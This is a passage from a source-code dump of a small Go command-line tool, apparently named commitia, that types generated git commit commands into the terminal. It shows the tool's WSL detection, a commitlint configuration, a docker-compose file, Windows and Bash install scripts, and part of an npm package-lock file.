17 | data, err := os.ReadFile("/proc/version")
18 | if err != nil {
19 | return false
20 | }
21 | return strings.Contains(strings.ToLower(string(data)), "microsoft")
22 | }
23 |
24 | func Typecmd(text string) error {
25 | if text == "" {
26 | return fmt.Errorf("commit message cannot be empty")
27 | }
28 |
29 | const delaySeconds = 0
30 | time.Sleep(delaySeconds * time.Second)
31 |
32 | escapedText := strings.ReplaceAll(text, "\"", "\\\"")
33 | command := fmt.Sprintf("git commit -m \"%s\"", escapedText)
34 |
35 | if isWSL() {
36 | fmt.Println("WSL2 detected. Automatic typing is not supported in WSL.")
37 | fmt.Println("Please copy and paste the command below into your terminal:")
38 | fmt.Println(command)
39 |
40 | return nil
41 | }
42 |
43 | robotgo.TypeStr(command)
44 | return nil
45 | }
46 |
--------------------------------------------------------------------------------
/commitlint.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | extends: ["@commitlint/config-conventional"],
3 | rules: {
4 | "type-enum": [
5 | 2,
6 | "always",
7 | [
8 | "feat",
9 | "fix",
10 | "chore",
11 | "docs",
12 | "style",
13 | "refactor",
14 | "test",
15 | "revert",
16 | "cleanup",
17 | "build",
18 | "remover",
19 | ],
20 | ],
21 | "type-case": [2, "always", "lowerCase"],
22 | "scope-case": [2, "always", "lowerCase"],
23 | "subject-empty": [2, "never"],
24 | "subject-full-stop": [2, "never", "."],
25 | "scope-empty": [2, "never"],
26 | },
27 | };
28 |
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 |
3 | app-bot-commitia:
4 | build:
5 | context: ./bot
6 | ports:
7 | - "6013:6013"
8 | restart: always
9 | networks:
10 | - project_network
11 |
12 |
13 | networks:
14 | project_network:
15 | external: true
16 |
--------------------------------------------------------------------------------
/install.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 |
3 |
4 | echo ==> Creating dist directory...
5 | if not exist dist mkdir dist
6 |
7 | echo ==> Changing to cmd directory for compilation...
8 | cd cmd
9 |
10 | echo ==> Compiling binary...
11 | set GOOS=windows
12 | go build -o ..\dist\commitia.exe ./
13 |
14 | cd ..
15 |
16 | if not exist dist\commitia.exe (
17 | echo Error: Binary 'dist\commitia.exe' was not generated.
18 | exit /b 1
19 | )
20 |
21 |
22 | echo ==> Installing binary...
23 | if not exist "%USERPROFILE%\bin" mkdir "%USERPROFILE%\bin"
24 | copy /Y "dist\commitia.exe" "%USERPROFILE%\bin\commitia.exe"
25 |
26 |
27 | setx PATH "%PATH%;%USERPROFILE%\bin"
28 |
29 | echo ==> Binary 'commitia.exe' successfully installed to %USERPROFILE%\bin\commitia.exe
30 | echo Use 'commitia' to run the program.
31 | echo Please restart your command prompt for the changes to take effect.
32 |
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -e
4 |
5 |
6 | ROOT_DIR=$(pwd)
7 | CMD_DIR="${ROOT_DIR}/cmd"
8 | DIST_DIR="${ROOT_DIR}/dist"
9 |
10 | BINARY_NAME="commitia"
11 | BINARY_PATH="${DIST_DIR}/${BINARY_NAME}"
12 | INSTALL_PATH="/usr/local/bin/${BINARY_NAME}"
13 |
14 |
15 | echo "==> Creating dist directory..."
16 | mkdir -p "${DIST_DIR}"
17 |
18 |
19 | echo "==> Changing to cmd directory for compilation..."
20 | cd "${CMD_DIR}"
21 |
22 |
23 | echo "==> Compiling binary..."
24 | go build -o "${BINARY_PATH}" ./
25 |
26 |
27 | cd "${ROOT_DIR}"
28 |
29 |
30 | if [ ! -f "${BINARY_PATH}" ]; then
31 | echo "Error: Binary '${BINARY_PATH}' was not generated."
32 | exit 1
33 | fi
34 |
35 |
36 | chmod +x "${BINARY_PATH}"
37 |
38 |
39 | echo "==> Installing binary to ${INSTALL_PATH} (may require admin password)..."
40 | sudo cp "${BINARY_PATH}" "${INSTALL_PATH}"
41 |
42 | echo "==> Binary '${BINARY_NAME}' successfully installed to ${INSTALL_PATH}."
43 | echo "Use '${BINARY_NAME}' to run the program."
44 |
--------------------------------------------------------------------------------
/package-lock.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "commit-ia",
3 | "version": "1.0.0",
4 | "lockfileVersion": 3,
5 | "requires": true,
6 | "packages": {
7 | "": {
8 | "name": "commit-ia",
9 | "version": "1.0.0",
10 | "license": "ISC",
11 | "dependencies": {
12 | "@commitlint/cli": "^19.8.0",
13 | "@commitlint/config-conventional": "^19.8.0",
14 | "husky": "^9.1.7"
15 | }
16 | },
17 | "node_modules/@babel/code-frame": {
18 | "version": "7.26.2",
19 | "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.26.2.tgz",
20 | "integrity": "sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==",
21 | "license": "MIT",
22 | "dependencies": {
23 | "@babel/helper-validator-identifier": "^7.25.9",
24 | "js-tokens": "^4.0.0",
25 | "picocolors": "^1.0.0"
26 | },
27 | "engines": {
28 | "node": ">=6.9.0"
29 | }
30 | },
31 | "node_modules/@babel/helper-validator-identifier": {
32 | "version": "7.25.9",
33 | "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz",
34 | "integrity": "sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==",
35 | "license": "MIT",
36 | "engines": {
37 | "node": ">=6.9.0"
38 | }
39 | },
40 | "node_modules/@commitlint/cli": {
41 | "version": "19.8.0",
42 | "resolved": "https://registry.npmjs.org/@commitlint/cli/-/cli-19.8.0.tgz",
43 | "integrity": "sha512-t/fCrLVu+Ru01h0DtlgHZXbHV2Y8gKocTR5elDOqIRUzQd0/6hpt2VIWOj9b3NDo7y4/gfxeR2zRtXq/qO6iUg==",
44 | "license": "MIT",
45 | "dependencies": {
46 | "@commitlint/format": "^19.8.0",
47 | "@commitlint/lint": "^19.8.0",
48 | "@commitlint/load": "^19.8.0",
49 | "@commitlint/read": "^19.8.0",
50 | "@commitlint/types": "^19.8.0",
51 | "tinyexec": "^0.3.0",
52 | "yargs": "^17.0.0"
53 | },
54 | "bin": {
55 | "commitlint": "cli.js"
56 | },
57 | "engines": {
58 | "node": ">=v18"
59 | }
60 | },
61 | "node_modules/@commitlint/config-conventional": {
62 | "version": "19.8.0",
63 | "resolved": "https://registry.npmjs.org/@commitlint/config-conventional/-/config-conventional-19.8.0.tgz",
64 | "integrity": "sha512-9I2kKJwcAPwMoAj38hwqFXG0CzS2Kj+SAByPUQ0SlHTfb7VUhYVmo7G2w2tBrqmOf7PFd6MpZ/a1GQJo8na8kw==",
65 | "license": "MIT",
66 | "dependencies": {
67 | "@commitlint/types": "^19.8.0",
68 | "conventional-changelog-conventionalcommits": "^7.0.2"
69 | },
70 | "engines": {
71 | "node": ">=v18"
72 | }
73 | },
74 | "node_modules/@commitlint/config-validator": {
75 | "version": "19.8.0",
76 | "resolved": "https://registry.npmjs.org/@commitlint/config-validator/-/config-validator-19.8.0.tgz",
77 | "integrity": "sha512-+r5ZvD/0hQC3w5VOHJhGcCooiAVdynFlCe2d6I9dU+PvXdV3O+fU4vipVg+6hyLbQUuCH82mz3HnT/cBQTYYuA==",
78 | "license": "MIT",
79 | "dependencies": {
80 | "@commitlint/types": "^19.8.0",
81 | "ajv": "^8.11.0"
82 | },
83 | "engines": {
84 | "node": ">=v18"
85 | }
86 | },
87 | "node_modules/@commitlint/ensure": {
88 | "version": "19.8.0",
89 | "resolved": "https://registry.npmjs.org/@commitlint/ensure/-/ensure-19.8.0.tgz",
90 | "integrity": "sha512-kNiNU4/bhEQ/wutI1tp1pVW1mQ0QbAjfPRo5v8SaxoVV+ARhkB8Wjg3BSseNYECPzWWfg/WDqQGIfV1RaBFQZg==",
91 | "license": "MIT",
92 | "dependencies": {
93 | "@commitlint/types": "^19.8.0",
94 | "lodash.camelcase": "^4.3.0",
95 | "lodash.kebabcase": "^4.1.1",
96 | "lodash.snakecase": "^4.1.1",
97 | "lodash.startcase": "^4.4.0",
98 | "lodash.upperfirst": "^4.3.1"
99 | },
100 | "engines": {
101 | "node": ">=v18"
102 | }
103 | },
104 | "node_modules/@commitlint/execute-rule": {
105 | "version": "19.8.0",
106 | "resolved": "https://registry.npmjs.org/@commitlint/execute-rule/-/execute-rule-19.8.0.tgz",
107 | "integrity": "sha512-fuLeI+EZ9x2v/+TXKAjplBJWI9CNrHnyi5nvUQGQt4WRkww/d95oVRsc9ajpt4xFrFmqMZkd/xBQHZDvALIY7A==",
108 | "license": "MIT",
109 | "engines": {
110 | "node": ">=v18"
111 | }
112 | },
113 | "node_modules/@commitlint/format": {
114 | "version": "19.8.0",
115 | "resolved": "https://registry.npmjs.org/@commitlint/format/-/format-19.8.0.tgz",
116 | "integrity": "sha512-EOpA8IERpQstxwp/WGnDArA7S+wlZDeTeKi98WMOvaDLKbjptuHWdOYYr790iO7kTCif/z971PKPI2PkWMfOxg==",
117 | "license": "MIT",
118 | "dependencies": {
119 | "@commitlint/types": "^19.8.0",
120 | "chalk": "^5.3.0"
121 | },
122 | "engines": {
123 | "node": ">=v18"
124 | }
125 | },
126 | "node_modules/@commitlint/is-ignored": {
127 | "version": "19.8.0",
128 | "resolved": "https://registry.npmjs.org/@commitlint/is-ignored/-/is-ignored-19.8.0.tgz",
129 | "integrity": "sha512-L2Jv9yUg/I+jF3zikOV0rdiHUul9X3a/oU5HIXhAJLE2+TXTnEBfqYP9G5yMw/Yb40SnR764g4fyDK6WR2xtpw==",
130 | "license": "MIT",
131 | "dependencies": {
132 | "@commitlint/types": "^19.8.0",
133 | "semver": "^7.6.0"
134 | },
135 | "engines": {
136 | "node": ">=v18"
137 | }
138 | },
139 | "node_modules/@commitlint/lint": {
140 | "version": "19.8.0",
141 | "resolved": "https://registry.npmjs.org/@commitlint/lint/-/lint-19.8.0.tgz",
142 | "integrity": "sha512-+/NZKyWKSf39FeNpqhfMebmaLa1P90i1Nrb1SrA7oSU5GNN/lksA4z6+ZTnsft01YfhRZSYMbgGsARXvkr/VLQ==",
143 | "license": "MIT",
144 | "dependencies": {
145 | "@commitlint/is-ignored": "^19.8.0",
146 | "@commitlint/parse": "^19.8.0",
147 | "@commitlint/rules": "^19.8.0",
148 | "@commitlint/types": "^19.8.0"
149 | },
150 | "engines": {
151 | "node": ">=v18"
152 | }
153 | },
154 | "node_modules/@commitlint/load": {
155 | "version": "19.8.0",
156 | "resolved": "https://registry.npmjs.org/@commitlint/load/-/load-19.8.0.tgz",
157 | "integrity": "sha512-4rvmm3ff81Sfb+mcWT5WKlyOa+Hd33WSbirTVUer0wjS1Hv/Hzr07Uv1ULIV9DkimZKNyOwXn593c+h8lsDQPQ==",
158 | "license": "MIT",
159 | "dependencies": {
160 | "@commitlint/config-validator": "^19.8.0",
161 | "@commitlint/execute-rule": "^19.8.0",
162 | "@commitlint/resolve-extends": "^19.8.0",
163 | "@commitlint/types": "^19.8.0",
164 | "chalk": "^5.3.0",
165 | "cosmiconfig": "^9.0.0",
166 | "cosmiconfig-typescript-loader": "^6.1.0",
167 | "lodash.isplainobject": "^4.0.6",
168 | "lodash.merge": "^4.6.2",
169 | "lodash.uniq": "^4.5.0"
170 | },
171 | "engines": {
172 | "node": ">=v18"
173 | }
174 | },
175 | "node_modules/@commitlint/message": {
176 | "version": "19.8.0",
177 | "resolved": "https://registry.npmjs.org/@commitlint/message/-/message-19.8.0.tgz",
178 | "integrity": "sha512-qs/5Vi9bYjf+ZV40bvdCyBn5DvbuelhR6qewLE8Bh476F7KnNyLfdM/ETJ4cp96WgeeHo6tesA2TMXS0sh5X4A==",
179 | "license": "MIT",
180 | "engines": {
181 | "node": ">=v18"
182 | }
183 | },
184 | "node_modules/@commitlint/parse": {
185 | "version": "19.8.0",
186 | "resolved": "https://registry.npmjs.org/@commitlint/parse/-/parse-19.8.0.tgz",
187 | "integrity": "sha512-YNIKAc4EXvNeAvyeEnzgvm1VyAe0/b3Wax7pjJSwXuhqIQ1/t2hD3OYRXb6D5/GffIvaX82RbjD+nWtMZCLL7Q==",
188 | "license": "MIT",
189 | "dependencies": {
190 | "@commitlint/types": "^19.8.0",
191 | "conventional-changelog-angular": "^7.0.0",
192 | "conventional-commits-parser": "^5.0.0"
193 | },
194 | "engines": {
195 | "node": ">=v18"
196 | }
197 | },
198 | "node_modules/@commitlint/read": {
199 | "version": "19.8.0",
200 | "resolved": "https://registry.npmjs.org/@commitlint/read/-/read-19.8.0.tgz",
201 | "integrity": "sha512-6ywxOGYajcxK1y1MfzrOnwsXO6nnErna88gRWEl3qqOOP8MDu/DTeRkGLXBFIZuRZ7mm5yyxU5BmeUvMpNte5w==",
202 | "license": "MIT",
203 | "dependencies": {
204 | "@commitlint/top-level": "^19.8.0",
205 | "@commitlint/types": "^19.8.0",
206 | "git-raw-commits": "^4.0.0",
207 | "minimist": "^1.2.8",
208 | "tinyexec": "^0.3.0"
209 | },
210 | "engines": {
211 | "node": ">=v18"
212 | }
213 | },
214 | "node_modules/@commitlint/resolve-extends": {
215 | "version": "19.8.0",
216 | "resolved": "https://registry.npmjs.org/@commitlint/resolve-extends/-/resolve-extends-19.8.0.tgz",
217 | "integrity": "sha512-CLanRQwuG2LPfFVvrkTrBR/L/DMy3+ETsgBqW1OvRxmzp/bbVJW0Xw23LnnExgYcsaFtos967lul1CsbsnJlzQ==",
218 | "license": "MIT",
219 | "dependencies": {
220 | "@commitlint/config-validator": "^19.8.0",
221 | "@commitlint/types": "^19.8.0",
222 | "global-directory": "^4.0.1",
223 | "import-meta-resolve": "^4.0.0",
224 | "lodash.mergewith": "^4.6.2",
225 | "resolve-from": "^5.0.0"
226 | },
227 | "engines": {
228 | "node": ">=v18"
229 | }
230 | },
231 | "node_modules/@commitlint/rules": {
232 | "version": "19.8.0",
233 | "resolved": "https://registry.npmjs.org/@commitlint/rules/-/rules-19.8.0.tgz",
234 | "integrity": "sha512-IZ5IE90h6DSWNuNK/cwjABLAKdy8tP8OgGVGbXe1noBEX5hSsu00uRlLu6JuruiXjWJz2dZc+YSw3H0UZyl/mA==",
235 | "license": "MIT",
236 | "dependencies": {
237 | "@commitlint/ensure": "^19.8.0",
238 | "@commitlint/message": "^19.8.0",
239 | "@commitlint/to-lines": "^19.8.0",
240 | "@commitlint/types": "^19.8.0"
241 | },
242 | "engines": {
243 | "node": ">=v18"
244 | }
245 | },
246 | "node_modules/@commitlint/to-lines": {
247 | "version": "19.8.0",
248 | "resolved": "https://registry.npmjs.org/@commitlint/to-lines/-/to-lines-19.8.0.tgz",
249 | "integrity": "sha512-3CKLUw41Cur8VMjh16y8LcsOaKbmQjAKCWlXx6B0vOUREplp6em9uIVhI8Cv934qiwkbi2+uv+mVZPnXJi1o9A==",
250 | "license": "MIT",
251 | "engines": {
252 | "node": ">=v18"
253 | }
254 | },
255 | "node_modules/@commitlint/top-level": {
256 | "version": "19.8.0",
257 | "resolved": "https://registry.npmjs.org/@commitlint/top-level/-/top-level-19.8.0.tgz",
258 | "integrity": "sha512-Rphgoc/omYZisoNkcfaBRPQr4myZEHhLPx2/vTXNLjiCw4RgfPR1wEgUpJ9OOmDCiv5ZyIExhprNLhteqH4FuQ==",
259 | "license": "MIT",
260 | "dependencies": {
261 | "find-up": "^7.0.0"
262 | },
263 | "engines": {
264 | "node": ">=v18"
265 | }
266 | },
267 | "node_modules/@commitlint/types": {
268 | "version": "19.8.0",
269 | "resolved": "https://registry.npmjs.org/@commitlint/types/-/types-19.8.0.tgz",
270 | "integrity": "sha512-LRjP623jPyf3Poyfb0ohMj8I3ORyBDOwXAgxxVPbSD0unJuW2mJWeiRfaQinjtccMqC5Wy1HOMfa4btKjbNxbg==",
271 | "license": "MIT",
272 | "dependencies": {
273 | "@types/conventional-commits-parser": "^5.0.0",
274 | "chalk": "^5.3.0"
275 | },
276 | "engines": {
277 | "node": ">=v18"
278 | }
279 | },
280 | "node_modules/@types/conventional-commits-parser": {
281 | "version": "5.0.1",
282 | "resolved": "https://registry.npmjs.org/@types/conventional-commits-parser/-/conventional-commits-parser-5.0.1.tgz",
283 | "integrity": "sha512-7uz5EHdzz2TqoMfV7ee61Egf5y6NkcO4FB/1iCCQnbeiI1F3xzv3vK5dBCXUCLQgGYS+mUeigK1iKQzvED+QnQ==",
284 | "license": "MIT",
285 | "dependencies": {
286 | "@types/node": "*"
287 | }
288 | },
289 | "node_modules/@types/node": {
290 | "version": "22.14.1",
291 | "resolved": "https://registry.npmjs.org/@types/node/-/node-22.14.1.tgz",
292 | "integrity": "sha512-u0HuPQwe/dHrItgHHpmw3N2fYCR6x4ivMNbPHRkBVP4CvN+kiRrKHWk3i8tXiO/joPwXLMYvF9TTF0eqgHIuOw==",
293 | "license": "MIT",
294 | "dependencies": {
295 | "undici-types": "~6.21.0"
296 | }
297 | },
298 | "node_modules/ajv": {
299 | "version": "8.17.1",
300 | "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
301 | "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
302 | "license": "MIT",
303 | "dependencies": {
304 | "fast-deep-equal": "^3.1.3",
305 | "fast-uri": "^3.0.1",
306 | "json-schema-traverse": "^1.0.0",
307 | "require-from-string": "^2.0.2"
308 | },
309 | "funding": {
310 | "type": "github",
311 | "url": "https://github.com/sponsors/epoberezkin"
312 | }
313 | },
314 | "node_modules/ansi-regex": {
315 | "version": "5.0.1",
316 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
317 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
318 | "license": "MIT",
319 | "engines": {
320 | "node": ">=8"
321 | }
322 | },
323 | "node_modules/ansi-styles": {
324 | "version": "4.3.0",
325 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
326 | "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
327 | "license": "MIT",
328 | "dependencies": {
329 | "color-convert": "^2.0.1"
330 | },
331 | "engines": {
332 | "node": ">=8"
333 | },
334 | "funding": {
335 | "url": "https://github.com/chalk/ansi-styles?sponsor=1"
336 | }
337 | },
338 | "node_modules/argparse": {
339 | "version": "2.0.1",
340 | "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
341 | "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
342 | "license": "Python-2.0"
343 | },
344 | "node_modules/array-ify": {
345 | "version": "1.0.0",
346 | "resolved": "https://registry.npmjs.org/array-ify/-/array-ify-1.0.0.tgz",
347 | "integrity": "sha512-c5AMf34bKdvPhQ7tBGhqkgKNUzMr4WUs+WDtC2ZUGOUncbxKMTvqxYctiseW3+L4bA8ec+GcZ6/A/FW4m8ukng==",
348 | "license": "MIT"
349 | },
350 | "node_modules/callsites": {
351 | "version": "3.1.0",
352 | "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
353 | "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
354 | "license": "MIT",
355 | "engines": {
356 | "node": ">=6"
357 | }
358 | },
359 | "node_modules/chalk": {
360 | "version": "5.4.1",
361 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz",
362 | "integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==",
363 | "license": "MIT",
364 | "engines": {
365 | "node": "^12.17.0 || ^14.13 || >=16.0.0"
366 | },
367 | "funding": {
368 | "url": "https://github.com/chalk/chalk?sponsor=1"
369 | }
370 | },
371 | "node_modules/cliui": {
372 | "version": "8.0.1",
373 | "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
374 | "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==",
375 | "license": "ISC",
376 | "dependencies": {
377 | "string-width": "^4.2.0",
378 | "strip-ansi": "^6.0.1",
379 | "wrap-ansi": "^7.0.0"
380 | },
381 | "engines": {
382 | "node": ">=12"
383 | }
384 | },
385 | "node_modules/color-convert": {
386 | "version": "2.0.1",
387 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
388 | "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
389 | "license": "MIT",
390 | "dependencies": {
391 | "color-name": "~1.1.4"
392 | },
393 | "engines": {
394 | "node": ">=7.0.0"
395 | }
396 | },
397 | "node_modules/color-name": {
398 | "version": "1.1.4",
399 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
400 | "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
401 | "license": "MIT"
402 | },
403 | "node_modules/compare-func": {
404 | "version": "2.0.0",
405 | "resolved": "https://registry.npmjs.org/compare-func/-/compare-func-2.0.0.tgz",
406 | "integrity": "sha512-zHig5N+tPWARooBnb0Zx1MFcdfpyJrfTJ3Y5L+IFvUm8rM74hHz66z0gw0x4tijh5CorKkKUCnW82R2vmpeCRA==",
407 | "license": "MIT",
408 | "dependencies": {
409 | "array-ify": "^1.0.0",
410 | "dot-prop": "^5.1.0"
411 | }
412 | },
413 | "node_modules/conventional-changelog-angular": {
414 | "version": "7.0.0",
415 | "resolved": "https://registry.npmjs.org/conventional-changelog-angular/-/conventional-changelog-angular-7.0.0.tgz",
416 | "integrity": "sha512-ROjNchA9LgfNMTTFSIWPzebCwOGFdgkEq45EnvvrmSLvCtAw0HSmrCs7/ty+wAeYUZyNay0YMUNYFTRL72PkBQ==",
417 | "license": "ISC",
418 | "dependencies": {
419 | "compare-func": "^2.0.0"
420 | },
421 | "engines": {
422 | "node": ">=16"
423 | }
424 | },
425 | "node_modules/conventional-changelog-conventionalcommits": {
426 | "version": "7.0.2",
427 | "resolved": "https://registry.npmjs.org/conventional-changelog-conventionalcommits/-/conventional-changelog-conventionalcommits-7.0.2.tgz",
428 | "integrity": "sha512-NKXYmMR/Hr1DevQegFB4MwfM5Vv0m4UIxKZTTYuD98lpTknaZlSRrDOG4X7wIXpGkfsYxZTghUN+Qq+T0YQI7w==",
429 | "license": "ISC",
430 | "dependencies": {
431 | "compare-func": "^2.0.0"
432 | },
433 | "engines": {
434 | "node": ">=16"
435 | }
436 | },
437 | "node_modules/conventional-commits-parser": {
438 | "version": "5.0.0",
439 | "resolved": "https://registry.npmjs.org/conventional-commits-parser/-/conventional-commits-parser-5.0.0.tgz",
440 | "integrity": "sha512-ZPMl0ZJbw74iS9LuX9YIAiW8pfM5p3yh2o/NbXHbkFuZzY5jvdi5jFycEOkmBW5H5I7nA+D6f3UcsCLP2vvSEA==",
441 | "license": "MIT",
442 | "dependencies": {
443 | "is-text-path": "^2.0.0",
444 | "JSONStream": "^1.3.5",
445 | "meow": "^12.0.1",
446 | "split2": "^4.0.0"
447 | },
448 | "bin": {
449 | "conventional-commits-parser": "cli.mjs"
450 | },
451 | "engines": {
452 | "node": ">=16"
453 | }
454 | },
455 | "node_modules/cosmiconfig": {
456 | "version": "9.0.0",
457 | "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-9.0.0.tgz",
458 | "integrity": "sha512-itvL5h8RETACmOTFc4UfIyB2RfEHi71Ax6E/PivVxq9NseKbOWpeyHEOIbmAw1rs8Ak0VursQNww7lf7YtUwzg==",
459 | "license": "MIT",
460 | "dependencies": {
461 | "env-paths": "^2.2.1",
462 | "import-fresh": "^3.3.0",
463 | "js-yaml": "^4.1.0",
464 | "parse-json": "^5.2.0"
465 | },
466 | "engines": {
467 | "node": ">=14"
468 | },
469 | "funding": {
470 | "url": "https://github.com/sponsors/d-fischer"
471 | },
472 | "peerDependencies": {
473 | "typescript": ">=4.9.5"
474 | },
475 | "peerDependenciesMeta": {
476 | "typescript": {
477 | "optional": true
478 | }
479 | }
480 | },
481 | "node_modules/cosmiconfig-typescript-loader": {
482 | "version": "6.1.0",
483 | "resolved": "https://registry.npmjs.org/cosmiconfig-typescript-loader/-/cosmiconfig-typescript-loader-6.1.0.tgz",
484 | "integrity": "sha512-tJ1w35ZRUiM5FeTzT7DtYWAFFv37ZLqSRkGi2oeCK1gPhvaWjkAtfXvLmvE1pRfxxp9aQo6ba/Pvg1dKj05D4g==",
485 | "license": "MIT",
486 | "dependencies": {
487 | "jiti": "^2.4.1"
488 | },
489 | "engines": {
490 | "node": ">=v18"
491 | },
492 | "peerDependencies": {
493 | "@types/node": "*",
494 | "cosmiconfig": ">=9",
495 | "typescript": ">=5"
496 | }
497 | },
498 | "node_modules/dargs": {
499 | "version": "8.1.0",
500 | "resolved": "https://registry.npmjs.org/dargs/-/dargs-8.1.0.tgz",
501 | "integrity": "sha512-wAV9QHOsNbwnWdNW2FYvE1P56wtgSbM+3SZcdGiWQILwVjACCXDCI3Ai8QlCjMDB8YK5zySiXZYBiwGmNY3lnw==",
502 | "license": "MIT",
503 | "engines": {
504 | "node": ">=12"
505 | },
506 | "funding": {
507 | "url": "https://github.com/sponsors/sindresorhus"
508 | }
509 | },
510 | "node_modules/dot-prop": {
511 | "version": "5.3.0",
512 | "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz",
513 | "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==",
514 | "license": "MIT",
515 | "dependencies": {
516 | "is-obj": "^2.0.0"
517 | },
518 | "engines": {
519 | "node": ">=8"
520 | }
521 | },
522 | "node_modules/emoji-regex": {
523 | "version": "8.0.0",
524 | "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
525 | "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
526 | "license": "MIT"
527 | },
528 | "node_modules/env-paths": {
529 | "version": "2.2.1",
530 | "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz",
531 | "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==",
532 | "license": "MIT",
533 | "engines": {
534 | "node": ">=6"
535 | }
536 | },
537 | "node_modules/error-ex": {
538 | "version": "1.3.2",
539 | "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
540 | "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
541 | "license": "MIT",
542 | "dependencies": {
543 | "is-arrayish": "^0.2.1"
544 | }
545 | },
546 | "node_modules/escalade": {
547 | "version": "3.2.0",
548 | "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
549 | "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
550 | "license": "MIT",
551 | "engines": {
552 | "node": ">=6"
553 | }
554 | },
555 | "node_modules/fast-deep-equal": {
556 | "version": "3.1.3",
557 | "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
558 | "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
559 | "license": "MIT"
560 | },
561 | "node_modules/fast-uri": {
562 | "version": "3.0.6",
563 | "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.0.6.tgz",
564 | "integrity": "sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw==",
565 | "funding": [
566 | {
567 | "type": "github",
568 | "url": "https://github.com/sponsors/fastify"
569 | },
570 | {
571 | "type": "opencollective",
572 | "url": "https://opencollective.com/fastify"
573 | }
574 | ],
575 | "license": "BSD-3-Clause"
576 | },
577 | "node_modules/find-up": {
578 | "version": "7.0.0",
579 | "resolved": "https://registry.npmjs.org/find-up/-/find-up-7.0.0.tgz",
580 | "integrity": "sha512-YyZM99iHrqLKjmt4LJDj58KI+fYyufRLBSYcqycxf//KpBk9FoewoGX0450m9nB44qrZnovzC2oeP5hUibxc/g==",
581 | "license": "MIT",
582 | "dependencies": {
583 | "locate-path": "^7.2.0",
